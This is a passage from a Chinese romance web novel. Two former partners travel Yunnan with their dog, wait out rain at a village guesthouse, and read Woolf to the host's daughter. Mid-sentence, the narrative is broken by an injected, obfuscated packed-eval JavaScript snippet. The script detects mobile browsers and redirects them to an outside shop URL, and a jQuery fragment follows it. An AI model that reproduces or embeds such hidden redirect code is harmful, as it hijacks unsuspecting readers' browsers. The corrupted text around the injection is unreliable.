景夏慢悠悠荡到营地卫生间,洗手,洗脸,重新扎了下乱糟糟的头发这才慢悠悠荡回去。餐桌已经摆好了,时樾端着狗碗,奇迹一脸焦急地蹲在旁边。 时樾伸手,“握手。” 奇迹前爪放上去。 “很好。”时樾晃晃它,松开,“右手。” 奇迹换了个爪。 “很好!站起来。” 奇迹屁股离地。 “趴下!” 奇迹五体投地。 景夏爬上车,“行了,赶紧给它吃。”孩子眼睛都泛绿光了。 时樾终于放下了碗。奇迹立刻飞扑向前,却被他挡了下来,“让你吃才能吃,坐好!” “……”教育永不停歇。 早餐吃罐罐香米线。三份,香气腾腾。 奇迹终于吃上了狗粮冻干,时樾指,“百香果酸汤,藤椒,糟辣。想吃哪个口味?” 景夏梗了下,“酸汤——吧?” 时樾将掰好筷子递来,“都尝尝。” “不用了。”她避开,拿起桌上未拆的筷子,埋头吃酸汤那碗。 除了在房车周围三米内活动外,奇迹都被牵上狗绳。时间长了它会撒泼耍赖躺地下抗议,或者默默啃绳子。但所有反抗都被时樾武力镇压,捏住狗嘴“扇脑瓜”,或者摁住后颈打屁股。 教育是必须的,只是景夏有时候看不下去雷霆手段,就等结束抱起小狗哄哄。当然,有点重,得坐着抱,而且抱完牛仔裤上会多几个脏爪子印。 楚雄城市不大,节奏轻缓,走在路上心里很松快。很多地方禁止犬类进入有点遗憾,但又收获了很多意外之喜。有给奇迹安排座位的烧烤店老板,有在公园门口提醒小狗禁入之后和奇迹在路边玩了好一会的彝族阿姨,还有主动提出在寺庙门口照顾奇迹好让她们参观的小和尚。 从寺庙出来时,小和尚盘腿坐在石阶上,奇迹就靠在他旁边,也不叫,只是安安静静坐着。像两个乖巧的小朋友。 小和尚看到他们,仰起头,“它是从哪里来的?” 景夏想了想,“从路边跑出来的。” 小和尚笑起来,脸庞尚有些稚嫩,“那你们是从哪里来的?” “我啊……长市。”余光瞥了下旁边的时樾,见他不说话,景夏也没补充。 “那很远的。”小和尚若有所思,“是为姻缘吗?还是事业?” 景夏失笑,“不是的,我不求什么,只是听说妙云峰有座古寺来参观。” “你正在烦恼。”他轻轻摸着奇迹的头,看向时樾,“你也正在烦恼。” 景夏默了下,“人活着总会有烦恼。” 朱红的牌匾久经风霜已褪色斑驳,德云寺三个字也没了最初光华色泽。寺庙坐东向西,正值日落,柔和的光倾洒在砖瓦石木上,是洗尽铅华的古朴庄严。 小和尚站起来,将狗绳交还,“我们就是风中的羽毛,风吹到哪里就去哪里。”说罢,他拉起时樾的右手和景夏的左手,将两只手并在一起,然后后退两步,双手合十,“愿离诸障,善愿成就。” 从妙云峰下来天已擦黑,景夏开车直奔彝人古镇。虽然是人造古镇,但吃得多小店多,晚上也热闹。 她去手工店里买木质挂坠和冰箱贴,去买全国随处看见的烤鱿鱼。 时樾就和奇迹在门口等她。 “吃吗?” “你先吃。”时樾将狗绳换到右手,“袋子我拿着。” 景夏咬住鱿鱼,反手将买的东西和纸袋一并塞进斜挎的大帆布包里,然后一口气吃了个干净。 越往里走人越多,摩肩接踵。奇迹被无数人腿包围,焦虑不安地舔嘴。见状,时樾单臂抱起它,另一手虚扶在景夏身后。 跟随人流慢慢走,终于来到篝火晚会所在的广场。最中央,高高的木柴被立成椎体,被着彝族民族服饰的大叔点燃,头戴类似火形状的帽子的嬢嬢在闪烁变换的灯光中跳着民族舞。 几首音乐结束,四周聚集的人密集起来。 “快快快,已经开始了!”一个年轻女孩敏捷地穿过人群,还不忘向后伸手。 一个同样青春的男孩探出头,“哪开始了?别急。” “我想靠里一点嘛!一会陪我跳。” “……行。” 时樾侧身,给他们让出位置。 女孩看到趴在他肩头的奇迹,“啊呀小狗!”然后冲他们笑了下,继续拉着男友朝最里圈冲刺。 四面八方来的游客和彝族嬢嬢们一起围着火把起舞,欢声笑语不断。随着前方的人一个个加入队伍,景夏和时樾的位置也越来越靠前。奇迹眼珠溜圆,新奇地左顾右盼。 “姑娘,来呢噶!”一个嬢嬢看过来,“小狗也挨起带来!” 景夏眨眨眼,指自己。 “都来!儿子也来!”说的是时樾。 景夏用脚趾头想都知道他不会去,于是拦腰把奇迹抱下来,狗绳在手腕上挽了三道,“跟我跳舞啊奇迹!跑!” “包我拿着!”时樾在身后喊,嗓音在巨大的音乐声中显得遥远。 她学前面嬢嬢的动作,没回头,“不用!” 奇迹的出场吸引了所有人的目光。 “你看那有只边牧!” “哈哈哈边牧还会跳舞呢,真厉害!” “不愧是边牧哈!” 奇迹似乎能听懂别人在夸它,越跑越起劲,挺胸抬头很是骄傲。 景夏看在眼里,暗自好笑。到了和左右的人牵手绕圈的时候,她和旁边的女孩打了个招呼,松了狗绳后一同压低胳膊,“奇迹,跳!” 奇迹抖抖毛,住跑两步“嗖”地越过障碍,在篝火燃烧的噼啪声中划出一道残影。 霎时,掌声笑声雷动。 景夏重新去捡狗绳,没抓住。只见奇迹狂奔到时樾面前,直直蹦进他怀里,一边舔他下巴,一边扭屁股狂摇尾巴,一副嘚瑟求夸奖的模样。 时樾任由它“发疯”,也笑。夜色掩去他的冷硬,火光照亮他的温柔。 视线在人声鼎沸中相撞。 景夏率先挪开眼。 跳了约莫一个小时,景夏又热又累,默默退出队伍,一边往分开的地方走一边四处搜寻。 “夏夏!” 景夏倏然回头,还是没找到人。这时,一颗狗脑袋缓缓升起。 终于碰头,时樾这才从双手高举念回单臂抱小孩的姿势,“水。” 景夏接过,杯盖是拧开过的。她一口气喝了大半,慢慢平复呼吸。 时樾看着满头大汗的她,“还玩吗?” “回吧。”景夏说,“等你的衣服晾干了,你回山城吧。” 时樾扬起的薄唇慢慢落下。 回房车基地的路上突然电闪雷鸣,豆大的雨点砸在挡风玻璃上汇聚成一道道河流。雨刮器以最快频率摇摆,视野依旧模糊不清。 景夏开双闪,压下速度。时樾一边安抚被打雷声吓成筛糠的小狗,一边看导航给她指路。 这雨来得突然走得也突然。拐进停车场的短短几分钟内,雨停了。 车倒进房车旁的车位,景夏下车,一抬头,看到了在风中摇摆的滴水的衣裤。 - 被雨淋过的衣裤时樾重新洗了一遍,重新晾干。但他没走。 理由很多。网络风波还未平息,雨季路况不好,去德钦路途遥远独自带狗不便。 景夏正经和他聊,说:“这些都存在,但那都是我自己的事情。谢谢你,但之后不麻烦了。” “我不觉得麻烦。”时樾说。 “我觉得麻烦。”她说。 时樾没再说什么,只是默默给车加满油,默默准备再次启程之后的物资。此外话更少了,在她面前出现的频率更低了,连吃饭都会端去别的地方吃,有时候坐在越野的门槛,有时候蹲在营地西边的花坛围栏。 在楚雄停留了两天,旅途再次开始。路过大理,景夏在洱海边的停车场住了整一天,去云想山遥看日落,还去苍山寂照庵吃了斋饭。 白天,她开着越野带奇迹到处玩,时樾默默留在房车。到了晚上她回来,又默默换位置。 “既然不求复合说明感情早已over,既然over应该一别两宽才对,还这么关心你……你说他图啥呢?”金阮百思不得其解,“把自己搞得可怜兮兮的,住越野车能舒服吗还住上瘾了?” 景夏同样想不明白。 从大理出发走的是G214。作为此生必驾之一,从起始段景色已然令人心旷神怡。在最出名的凤阳邑村机位,景夏专门靠边停车。古城背靠苍山,薄云环绕,柏油路顺坡而下,地平线隐藏了洱海,但若紧盯着看,又仿佛能看到蓝天下的粼粼波光。 她拍下所见之景,且觉得自己很幸运。 短短三小时后,景夏觉得自己可太不幸了。 所谓雨季,就是老天阴晴不定。它不一直下,下一阵或是几天之后会放晴,大晴,让人误以为潮湿粘稠的折磨结束了。待你喜滋滋的晒出衣服被子,或是浑身牛劲预备开个长途的时候…… 景夏叹出了肺部里的全部空气,拿出百分之二百的精神紧盯前车的双闪。 瓢泼大雨砸在车顶,她不像是在国道开车,像是开在花果山水帘洞,千百只猴子duangduang跳下来,听声都吓人。也吓狗。奇迹胆子黄豆大,头搭在中控上抖得像发动机。 她开始后悔没走高速。高速服务区起码可以解决生活起居,国道休息区短歇可以,要是雨不停长歇,那就真得顿顿泡面了。 就这样紧张兮兮的开了半小时,终于出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276295|198260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个指示牌,显示前方岔口,右转“七里村”。 “要不要下国道找个能久停的地方?”时樾抹去窗上的水汽观察了一阵,看看手机,“这雨至少要下到半夜。” 景夏又叹了口气,打了右转向。从国道下来,沿山走了一段略微坑洼不平的路,终于出现了一丛丛房屋,但都在路两边,没地方停车,只能一直走。快到尽头时,时樾忽然抬手,“这有家住宿。” 她在雨刮器的间隙中眯眼向左前方看去,写着住宿的红色立牌很是破旧,不知道是泥夯的还是砖垒的院墙塌了一大块,碎渣就淌在地下。再看前方,除了阴森雨幕和灰暗的绿,什么都没有。她咬咬牙,停车,“去看看。” “我去,你在车上等。”时樾拦住她,让奇迹到后座,自己冒雨跑进了浅棕色的大门。 不到一分钟,他冒雨跑回来,拉开副驾的门,但只开了个缝,“有住宿,有餐饮,可以带狗但狗不能睡床上,前面能停车。住吗?” “住吧。”景夏解开安全带。 “等会。”后备箱开了又关,驾驶座的门被拉开,一柄黑伞稳当地撑在头顶。伞下,男人浓密的睫毛上挂着晶莹的水滴。一件男士衬衫落在她身上,“穿上,去收拾住宿的东西。” 裸露的皮肤接触到衣服,有点冰。 回到房车,景夏飞速收拾了下生活必需品,时樾已经把奇迹送进屋又折回来了。她迈下台阶,手里一轻,头顶无风无雨,“你的包呢?” “我停完车再拿过来。”伞骨倾斜,时樾关上车门。 从外看其貌不扬,大门里别有洞天。院子不到半个羽毛球场大,正面和左手边两排一层老房子,右边是茅草搭起的简易房子,估计是工具间或者储藏间。建筑是有些老旧,但看起来干净立整。 时樾引她进了正对面的房间,分开三分钟,奇迹趴在门槛上嘤嘤地叫,“开了两间房,你先进屋不用等我。” 景夏点点头,“我提了几桶泡面,等会来拿?” “行。”一位皮肤黝黑的中年男人从里间走出来,时樾和他比了个手势,把行李箱放在她旁边,“我去停车,伞。” “你拿着——” “不用。”时樾和男人的身影隐入雨幕之中。 “姑娘,两间屋,隔壁。看你住哪一间?”是口音很重但接近普通话的话。景夏回头,一位慈祥的阿婶笑眯眯地走过来,掌心向上,粗糙的掌心落着两枚钥匙。 “都行。”她这才打量了下屋子。和外观一样,内设也很陈旧,都是岁月的气息。虽然开着灯,但还是有点昏暗,唯一的窗户下坐着一个十来岁的女孩。 嬢嬢回头呼喊,“兰妹,带人去屋子!” 叫兰妹的女孩起身,景夏这才发现她是趴在窗户跟前做功课。课本敞开着,作业本压在右半边。她肤色黝黑,眼睛也是黑亮黑亮,个子刚到景夏肩膀。不大的姑娘做起事来雷厉风行,提行李箱的动作比景夏都轻松。 兰妹带路穿过下雨的院子,景夏牵着奇迹快步追上去,并肩,让黑伞也遮住她瘦弱的身躯。 女孩小心地瞟了她一眼,“谢谢。”普通话还算标准。 “不客气。”景夏边走边张望,“来你家住宿的人多吗?” “最近会有,平时少。” “刚看你在做功课,上——初中?” “初一。”迈上台阶,兰妹放下行李箱,将钥匙对准锁芯,拧开,取掉锁头,和时樾房间的钥匙一并交给景夏,“吃饭要提前和我阿妈讲,如果有要问的就来刚才的屋子。” “好,谢谢你。拿上伞——”兰妹已经跑进了雨里。 这一排屋子一共四间房,景夏在左手边第二间。右边两间门口没有锁头,估计有人住。推门而入,打开灯,她在屋里转了一圈。怎么说呢,虽然不太精致美观,但除了空调应有尽有。摸摸床品,还有洗衣粉的味道,应该是刚洗过。 她打开行李箱,掏出烧水壶烧上热水,泡面依次排开,然后换上了居家服。水开了,她给自己这碗红烧牛肉面泡上,叉子卡住边沿,又等了好一会响起敲门声。 木门内侧是老式插销。景夏拉开门,被时樾湿淋淋的模样吓一跳,“你……” 时樾抹了把脸,肩上挂着包,手里提了个塑料袋,“奇迹的狗窝。” “啊。”这茬忘了,景夏赶紧接过靠在墙边,然后把钥匙、泡面、烧水壶和他的衣服囫囵吞拿起抱起来,“送你过去。” “好。” 景夏顺着屋檐往过走,风吹雨,左胳膊冰凉。一只手臂伸了过来,时樾挡在外侧,“里面走。” “……好。”打开门,放下东西,她犹豫了半天,把那句别着凉憋回肚子里。 时樾冲她的背影叮嘱:“有事叫我,直接敲门。好好休息。” 阴雨天,加上心情不佳,非常适合昏睡不醒。 景夏吃完泡面,睡了个天昏地暗一直到傍晚七点才转醒,正躺在床上一边迷糊一边回忆——回忆今天时樾的种种时,隐约响起敲门声。 她坐起来,侧耳。 “砰砰!” “夏夏,是我。” 景夏手软脚软地下床,差点踢到还在昏睡的小狗,摸到门边拉开门拴,探头,“怎么了?” 时樾穿了件白T,外面套着几个小时前套在她身上的黑色衬衫,右手举着手机,背对天光眸子幽暗,“电话,云森雨。” 景夏残存的睡意被凉风吹了个无影无踪。 13. 第 13 章 “我说了这是借的手机别人的手机,林森雨你是不是有毛病!”景夏背抵门怒道。 “那这不是也找到你了吗?”林森雨笑,“看手机号属地,是你那位山城的前男友?” 景夏立刻警惕,“你和他说什么了?” “你猜。” “……” 林森雨又笑,“我能说什么?” “以后别给他打电话。”景夏冷声。 “可以,但我得联系到你啊。微信通过我就不打。” “……”景夏用力抓头发,心烦意乱地问:“打电话什么事?” “我看你开始控评了。”林森雨正色,“但控评这事不太现实,越删越容易逆反。直接关评论区吧,还能留下一手证据。” 这事其实景夏也在考虑了。删了几轮着实杯水车薪,而且还激起了这些人更多的不满。 【玩不起】 【我就说了一句“读书多”反应这么大】 已经是文雅的说法了。 “我的事我心里有数,你还是操心自己吧。” 林森雨幽怨道:“哎,同是前任差别可真大啊!你让那位陪你,到我这连你在哪都不说……” “跟你没关系。”景夏鼻子出气。 “行,没关系。”林森雨拉长音调,“就是山城这个吧,好像和你描述的不太一样。等什么时候心情不好了,我就和他聊聊人生、聊聊咱俩在巴黎——” 景夏忿忿通过了林森雨的好友申请。 雨由狂烈转为细柔。在这三面环山的位置,冷意从地面升起。 景夏抱着胳膊,顺屋檐走到时樾门口,手在空中悬了好几秒后轻叩。 “门没锁。”声音遥远又模糊。 她推门而入。时樾叉腿坐在对他来说有些矮小的椅子上,小桌上放着电脑,鼻梁上架着一副透明框架眼镜,潮湿的额发柔软地垂着。 景夏走近,把手机放在桌上,“谢谢。” 时樾将电脑屏幕合了一半,“用完了?” “嗯。”脚趾抠了抠拖鞋,她低声问:“他没跟你说什么吧?” 时樾仰头看向她。左边镜片左下角有几个齿状的凹痕,而且明显有些外凸,没有和框架严丝合缝。 景夏瞳孔微缩。 有好几秒,时樾的眼神在昏暗的灯光下像一只笼中困兽,暗色如风云翻滚。他说:“没什么。”轻轻收回了视线。 景夏看不到电脑屏幕,但能看到旁边敞开的笔记本,字迹是很有章法的潦草,隐约能辨认出膝关节置换几个字。时樾扣住本子,“需要打电话随时敲门。” “好。” 带上门的时候,景夏耳边回荡着林森雨那句玩笑话。 他好像和她描述的不太一样。 当常年视力保持1.2的景夏,用手捧起镜片分离的眼镜时,大脑处于一片空白的状态。 “怎么办!!!我没看到直接坐上去了!!!” 时樾对眼镜的惨状很淡然,但对她惊慌无措的状态很感兴趣。 “你笑什么?!” 时樾绷唇,“嗯?我没笑啊?”说着说着露出一口白牙。 景夏:“……” 时樾徒手将镜片摁了回去——没完全回去,镜片脱落时的磨损也很显眼,“这不就好了?能带。” “但是——” 时樾捏捏她的脸,“等空了再去换个新的。” 景夏只能接受这个事实,靠在他肩上观摩他写论文。过了一会,时樾抬了下肩膀,“去看会书?” “不想看。” “那看会电视?”气息喷洒在她头顶。 “也不想看。”景夏将他的脑瓜推回去,“啊呀我不无聊!礼尚往来嘛!” 礼尚往来,往来的是时樾百忙之中跑来长市,而景夏深陷小论文ddl的追赶,走哪写到哪。 时樾一直坐在她旁边看她,眼神都不带挪一下,搞得她特别特别愧疚。 “不好意思啊,很无聊吧?” 时樾摇头,认真:“一点都不无聊,看你怎么会无聊嘛?” 景夏站在房檐下,仰头看一场漫长的夜雨。 - 早餐是在昨天取钥匙那间房的里面,像是小套间,有四张朴素的小圆桌。景夏去的时候,有两个男人已经在吃了。 阿婶坐在角落的桌子上,手里做着缝衣的活计,遥遥喊:“兰妹,端饭!” 很快,一只纯白瓷碗放在面前,里面是热气腾腾的米线,鸡汤香气扑鼻。兰妹从阿婶的桌上拿来一次性筷子和纸巾,一并放在旁边。 “谢谢妹妹。”景夏冲她笑了下。 兰妹坐到她阿妈对面,开始收拾桌上不知名的蔬菜。她的手上还印着钢笔水。 前两位房客吃完,和老板打了个招呼离开了。 兰妹起身,收拾碗筷擦桌子,回来继续摘菜。 没过几分钟。 “去叫阿鹏和阿源起来吃饭。”阿婶说。 兰妹再次起身。 在阴雨天的早晨吃热腾腾的鸡汤米线,景夏感觉筋骨都舒展开了,胃里沉甸温暖,驱散了穿过院子时钻进身体的寒意。 她看了眼手机上的时间,八点半。“阿婶,和我一起来的小伙吃饭了吗?” “没有呢。”阿婶应。 一阵嘈杂盖过了雨点敲砖击瓦的闷响。帘子一开一合,进来了一大一小两个男孩,大的约莫十岁左右,小的七八岁,都是一脸困意,嘴里不情不愿地嘟囔着什么。 母子三人用方言交谈着,景夏听不懂,但从阿婶的神态语气看出,应当是在安抚。 她离开这件小餐厅时,兰妹正端着两只大瓷碗从外面进来,小心地跨过门槛。那扇窗户下面,摆着敞开的书本和没来得及合盖的钢笔。 午饭在十二点,时樾还是没出现。 景夏吃完没回屋,而是拉了个凳子坐在了那扇窗下。余光中,兰妹横过左胳膊,试图阻挡她的视线。她笑了笑,掏出手机,一边看一边隔老远瞥那紧掩的房门。 昨晚关了评论区之后,世界都清净了不少。 “兰妹!来!” 兰妹跑去给她阿爸搭手,似乎在修梯子。 过了会,隐约传来哭声。 “兰妹,去看下阿源!”阿婶从厨房伸出头来。 景夏一个旁观者都有些烦躁了,兰妹每次回到桌前都能最迅速的恢复学习状态。 景夏放下手机,“妹妹,你在哪上学呢?” “云理县。”兰妹说。 好像是昨天途径的地方。景夏估算了下距离,“住校吗?” “嗯。” 没写几个字—— “兰妹!” 兰妹又走了,步速很快。待她再回来,景夏问:“能不能和你阿妈说回房间学习?” “我没有屋子。”钢笔尖摸索本子,刻下横平竖直的奋字,“那边是弟弟的,这边是阿爸阿妈的。” 景夏心尖一刺,“如果没有房客,可以去空房吗?” “我阿爸不许,而且我还要干活的。” 兰妹说得很理所当然,埋头继续读书,留景夏默默无言。 又过了一会,兰妹见她不走问:“是还要住一天吗?” “没定。”景夏看向那扇门,依旧紧闭。雨帘也依旧如故,“等一会他出来,我们商量之后再说。” 兰妹顺着她的目光去看,奇怪道:“为什么不敲门和他讲?” “……” 最终景夏还是敲了门,敲了挺久,久到她以为时樾连夜携车钥匙逃跑了。 “咔哒!” 门从内打开。 “今天——”景夏愣怔,“你……怎么了?” 时樾重重靠向墙壁,手无力地从门把上滑落,T恤领口往上脖颈和脸色一样苍白,只有那微张的薄唇红得吓人。他揉揉太阳穴,“没事,还在下雨啊……” 这嗓音,哑得像宝娟。景夏蹙眉,“是不是感冒了?” “不……咳,不是。”时樾竭力发声,“喉炎,老毛病。你再好好休息一天,明天天晴的话——” 景夏打断,“有药吗?” “嗯,吃……咳,吃过了。” “饭呢?” “不吃了。”许是疼痛,他摁喉结下方的凹陷,缓了会说:“我再睡会,不用管我。你按时吃饭。” 眼看他站着都疲累,景夏推门而入,“车钥匙呢?” 时樾抬手指床头柜。她径直走过去,车钥匙边摆了一个白色药瓶和几板胶囊,其中一个她认识,布洛芬。钥匙在掌心转了几转换,“先躺着吧,门别锁啊!” 说罢不给他说话的机会,带上门,拿起门口靠的伞。 问了阿婶停车的位置,景夏沿路悠过去,脖子夹着伞骨,一边走一边搜喉炎。 核心症状:轻则说话变粗变哑,重则完全说不出话,系声带水肿导致。 疼痛位置:喉咙深部疼,说话、咳嗽时感觉喉结下疼痛。 诱发因素:急性呼吸道感染蔓延至喉部,用嗓过度、过敏刺激、烟雾粉尘直接刺激。 回到房车上,景夏先熬上米粥,等熟的功夫翻出保温杯和金银花茶,一并装进帆布袋里。 又等了一会,她打开咖啡机做了杯拿铁,从书箱里找出《一间自己的房间》,一边喝一边重温。 雨小了些。 这次景夏没敲门,蹑手蹑脚地走进屋。室内一片昏暗,条纹被下的身体轻轻起伏。她放下帆布袋和保鲜盒,在床边的椅子上坐下。 男人睡得很沉,但眉头拧紧,半趴在枕头上,右臂垂在床边,被子角也落在了水泥地面上。 于是她又起身,往上拉了拉被子,盖住那瘦削胳膊和肩背。 他看起来格外虚弱。 景夏从没见过他这么虚弱。 “怎么又不擦干?你还想进急诊?” “他这几年身体不太好,还过劳晕倒过一次,把我吓坏了……你是不知道,那会我真怕他猝死。” 原本没放在心上的陈嘉璐的话,此刻从记忆中浮现又在这冰冷的房间里回响。 做医生,这么辛苦吗?辛苦到身体都垮掉了。 景夏发现自己很在意。 她无法原谅他,也不打算原谅他。但她还在意他。 没有保温饭盒,玻璃不隔热,粥已经温了下来。 景夏走到床边,伸出手,又收了回来。 叫他起床会不会有点太暧昧了?可不叫的话粥就凉了。粥凉了关她什么事反正他自己说不吃。可他昨天淋雨有一部分是因为她……怎么就因为她了是他自己不拿伞的!因为……只有一把伞,他拿走她就要淋雨的。而且他来云省也是因为她,不管赎罪也好旁的也罢—— 她憋气,用指头隔被子戳戳时樾的肩膀。 时樾没反应。 景夏加重力道,又戳了戳——垂着的胳膊挪回枕边,遮住了半张脸。 她凑近,看到了棱角分明的下巴冒出的胡渣,“先吃饭。” 呼吸频率变浅,时樾没睁眼,无声地说:“不吃了……” “快,都做好了。吃完再睡。” 时樾头换了个方向,朝另一侧,“姐你等六点再叫我去……” 后几个字景夏没听清。她不知道从哪生出一股牛劲,掀开一半被子,薅住胳膊就把人往起拉,“时樾——快、起、来——” 谁知这人看起来瘦了那么多,拉了半天就往床边出溜了两厘米。 “……”景夏放弃了,叉腰喘气。 就在这时,时樾弹射起身,用力睁眼,用力闭上又睁眼。懵懵的模样又软又乖,“夏夏?” 她把早就准备好的饭盒和勺子塞他手里,“吃!” 输入指令,时樾即刻乖乖地吃,吃了好几口后蓦地一僵,“你做的吗?” “嗯。”景夏鼻子出气,用烧水壶烧上水,然后靠在桌沿看他,“你是不是还在发烧?” “低烧,没事。”声音都发不出来没事什么没事。 勺子和碗边碰撞,烧水壶滋滋作响。 景夏往放有金银花茶的保温杯里注热水,剩下的倒进床头柜上时樾的保温杯——她痛经那会用过的那一只,又往烧水壶里重新倒上矿泉水,“金银花茶,润喉的。这个是纯热水。喝完再烧。”她一一叮嘱后道:“如果没好转随时吭气,开车带你去县上医院。” “我没——” “闭嘴!”景夏瞪他,“就说听懂了没?!” 时樾双手捧碗,小心翼翼,“……懂了。” 景夏去续住了一晚后回到房间,奇迹听到动静后跑了出来,但脸上写着睡眼惺忪几个字。 阴雨连绵,小狗也嗜睡。 她从头到尾从背到肚子狠狠摸了个遍,奇迹意犹未尽地站起来,正要扒拉求抱,突然头也不回冲进卫生间,对着蹲坑—— 一分钟后,景夏满意摁下冲水键。 咱也是学会用卫生间的小狗了,完美解决下雨遛狗问题。 生理问题结束,奇迹折回来求抱。 在山里的一间老房子里,和小狗软软烫烫的身体依偎在一起,是一种无法用语言描述的幸福。 但景夏的心一直悬着。 半夜,景夏被冷醒,发现胳膊从被子里出来了,赶紧盖严实。暖和了一阵,她从梦和醒的边界强行开机,爬起来趿着拖鞋,一路小跑冲到隔壁。 中午和时樾交代过不要锁,所以门一推就开。待眼睛适应了黑暗,她蹑手蹑脚地走到床边。床头柜上饭盒空了,保温杯——她掂了掂,金银花茶喝完了,开水也见了底。 景夏静静站了一会,确认他呼吸又深又均匀,这才摁下烧水壶开关。补满水,她犹豫了一阵,回到床边,小心地摸向他的额头。 热乎乎的。 景夏用另一只手摸自己的额头,被冰得一个瑟缩, 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景夏嗅着男人身上熟悉又陌生的洗衣液香气,眼泪和苦涩一起积聚。心口满了,苦涩溢出来。眼眶满了,眼泪溢出来。 她不知道自己为什么会哭,但就是哭了。 时樾弓腰,将脸埋在她的颈窝,“谢谢。” 景夏没说话。 T恤领边似有濡湿,但凝神,似乎又是错觉。只听时樾又说:“对不起。” 景夏还是没说话。 “你听,雨停了。” - 雨停了。 景夏收拾好东西吃过早饭,坐在兰妹旁边看书,等时樾。 这回兰妹不用胳膊肘挡了,还时不时偷瞟她手里的书。 见状,景夏递过去,“想看吗?” 兰妹摇头,在本子上继续画画。 今天她没在学习,景夏心生好奇,“在画什么呀?可以看吗?” 兰妹黝黑的面庞浮现羞涩,揉了好一会纸边,点头,将本子转过来。 景夏张大嘴,“这是——小狗?” 用完的横隔本背面用铅笔画了一只小狗,黑白相间,蹲坐。她指脚边蹲坐的奇迹,“画的它嘛!” “嗯。”兰妹低头,小声,“我没学过画画,画得不好。” 从画风来看,确实不是“科班”出身,有些地方甚至可以说是粗糙,但动作神态惟妙惟肖。 “可以拍吗?”景夏掏出手机,“我特别特别特别喜欢。” 兰妹瞪大眼睛,确认她没开玩笑之后夺回本子,“我、我我再修改一下。” “好呀,不着急。”她笑。 可这幅画没画完,因为—— “兰妹!” 时樾背着包出来,景夏招手,“咳……去吃早饭吧。” 他点头,摸摸奇迹,进了里间。白天,他恢复了素日的清冷沉稳,凌晨的小脾气小亲昵似乎都是幻觉。 两人心照不宣。 离开时,景夏看到了兰妹的身影。 躲懒许久的太阳高悬,尽情投射热量,似乎要补上前几天的空缺。兰妹蹲在路边,用砖块活泥填补院墙的空缺。 景夏牵着奇迹走过去,“妹妹,我要走了。” 兰妹抬头,又黑又密的发间闪着汗珠,“画还没有补完。” “已经很完美了。”她晃手机,“我刚才拍下来了——只拍了画哦!” 两天以来,景夏第一次看到兰妹笑了。她的牙很白,很整齐,笑起来很甜,很有朝气。 车缓缓停在路对面。时樾下车,“我去提行李箱。” 景夏点头,解开绳让时樾坐上后座,绕去驾驶座时却没迈开腿。她从肩上的帆布袋里掏出《一间自己的房间》,心头更不是滋味。 时樾将行李放好,关上后备厢,“我开吧,上——” 景夏叹了口气。 时樾走过来,看看她手里的书,又顺着她的视线看向那蹲墙边努力干活的身影。 “走吧。”她收回目光,起身,“我开。” 时樾冷不丁问:“着急走吗?” “嗯?”景夏一愣。 时樾冲路对面轻抬下巴。 “奥……”她闷闷不乐,“多待一会也改变不了什么,算了。” 时樾拦住她,脱掉身上的衬衫扔进后座,“起码能改变她的一个上午。” 说罢,他跑过去,蹲下不知和兰妹说了什么。女孩朝景夏这边看看,表情有些纠结。 这时,阿叔带着两个打打闹闹的男孩走出来,时樾上前交谈。这么看,大的那个个子已经到时樾肩头了。 过了好一会,阿叔和兰妹说了两句,后者喜笑颜开,举着脏兮兮的手飞跑过来,“那个哥哥说你看过很多书,还很会讲书。” 景夏眼眶发热,举起书来掩盖自己的失态,“这本,想听吗?” 这次兰妹没有说谎,“想。” 景夏拉着她去房车的台阶上并排坐下,展开,温声说:“这是英国一位叫伍尔夫的女性作家的书,叫《一间自己的房间》……” 她讲着,看着时樾利落地砌墙的背影,想着他昨天还是在发烧的。 这是她当初会喜欢上他的原因。 她不会原谅他的。但…… 这也是她此时此刻,会喜欢上他的原因。 ——————— 8月5日,自驾书单第6期 推荐书目,弗吉尼亚·伍尔夫《一间自己的房间》 “这本书在女性主义那一期中有介绍过,所以无需赘述。就放一段录音吧!” 景夏打开录音,播放。 “所谓一间自己的房间,其实就是独立的空间。愿所有女孩,都有一间自己的房间。” “这个房间该面朝大海,让你温暖自在。” “房间里该有一张沙发和一个书架,书架上是你喜欢的书,它们按照你喜欢的方式排列。” “房间要有一个明亮的窗子,蓝色天空的夜晚,你抱着宠物在窗前仰望星空。” “房间里还要有一面镜子,因为你爱美丽的自己,忠贞不渝。” “你该一直拥有栖息精神的空间,直到优雅老去。*” 再次听到兰妹略带口音但清脆悦耳的声音,景夏眼眶还是酸了。 沙发背靠卫生间的墙,里面水声阵阵,偶尔还有清嗓子咳嗽声。时樾正在洗澡。他干了整整五个小时砌好墙,还补好了油漆。挺像模像样。 “愿所有女孩,都有一间自己的房间。*” 水停了,门咔哒一声打开。 景夏捂住镜头,“晚安。” 衍生书单: 《第二性》波伏瓦 《她弥留之际》波伏瓦 《林门郑氏》林雪虹